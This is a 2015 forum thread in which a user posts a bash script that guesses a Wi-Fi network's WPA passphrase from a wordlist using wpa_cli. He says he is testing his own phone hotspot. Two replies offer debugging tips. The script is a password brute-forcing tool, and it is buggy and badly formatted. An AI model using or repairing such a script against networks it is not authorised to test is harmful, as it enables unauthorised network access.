king Posted July 15, 2015 Share Posted July 15, 2015 ok i neead help with this code, am trying to test out the strength of my phones hotspot and my skills f coding #!/bin/bashecho "What ssid";read ssid; echo "wordlist";read pass; key=$(cat $pass) echo "What interface";read wlan; while IFS='' read -r line || [[ -n $line ]]; do killall wpa_supplicant > /dev/null 2>&1for i in `wpa_cli -i${wlan} list_networks | grep ^[0-9] | cut -f1`;dowpa_cli -i${wlan} remove_network $i > /dev/null 2>&1donewpa_cli -i${wlan} add_network > /dev/null 2>&1wpa_cli -i${wlan} set_network 0 auth_alg OPEN > /dev/null 2>&1wpa_cli -i${wlan} set_network 0 key_mgmt WPA-PSK > /dev/null 2>&1wpa_cli -i${wlan} set_network 0 proto RSN > /dev/null 2>&1wpa_cli -i${wlan} set_network 0 mode 0 > /dev/null 2>&1wpa_cli -i${wlan} set_network 0 ssid '"'${ssid}'"' > /dev/null 2>&1cat $pass | while IFS='' read -r line || [[ -n $line ]];doecho "checking $key"wpa_cli -i${int} set_network 0 psk '"'${key}'"' > /dev/null 2>&1wpa_cli -i${int} select_network 0 > /dev/null 2>&1wpa_cli -i${int} enable_network 0 > /dev/null 2>&1wpa_cli -i${int} reassociate > /dev/null 2>&1for i in {1..6};dowifi=$(wpa_cli -i${wlan} status | grep wpa_state | cut -d"=" -f2)if [ "$wifi" == "COMPLETED" ];thenecho "password=$key"fisleep 2donedone < "$pass" Quote Link to comment Share on other sites More sharing options...
cooper Posted July 15, 2015 Share Posted July 15, 2015 (edited) Your while loop is given the $pass variable's content twice, once via 'cat' at the beginning (meaning it names a file, and you want to pipe in the contents of that file) and once at the end (meaning you want the actual value of that variable). Don't know what you want to do, but I'd look there.For future reference, encase code in blocks as it also gives you syntax highlighting and indentation sticks, plus I highly recommend against creating two topics on the same thing (you could've closed one of them once you realized your mistake).Edit: The "=auto:0" bit in that code tag gets auto-inserted. Just code between square brackets is sufficient. Edited July 15, 2015 by Cooper Quote Link to comment Share on other sites More sharing options...
phpsystems Posted July 15, 2015 Share Posted July 15, 2015 Running: bash -x <script name> Helps with debugging. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.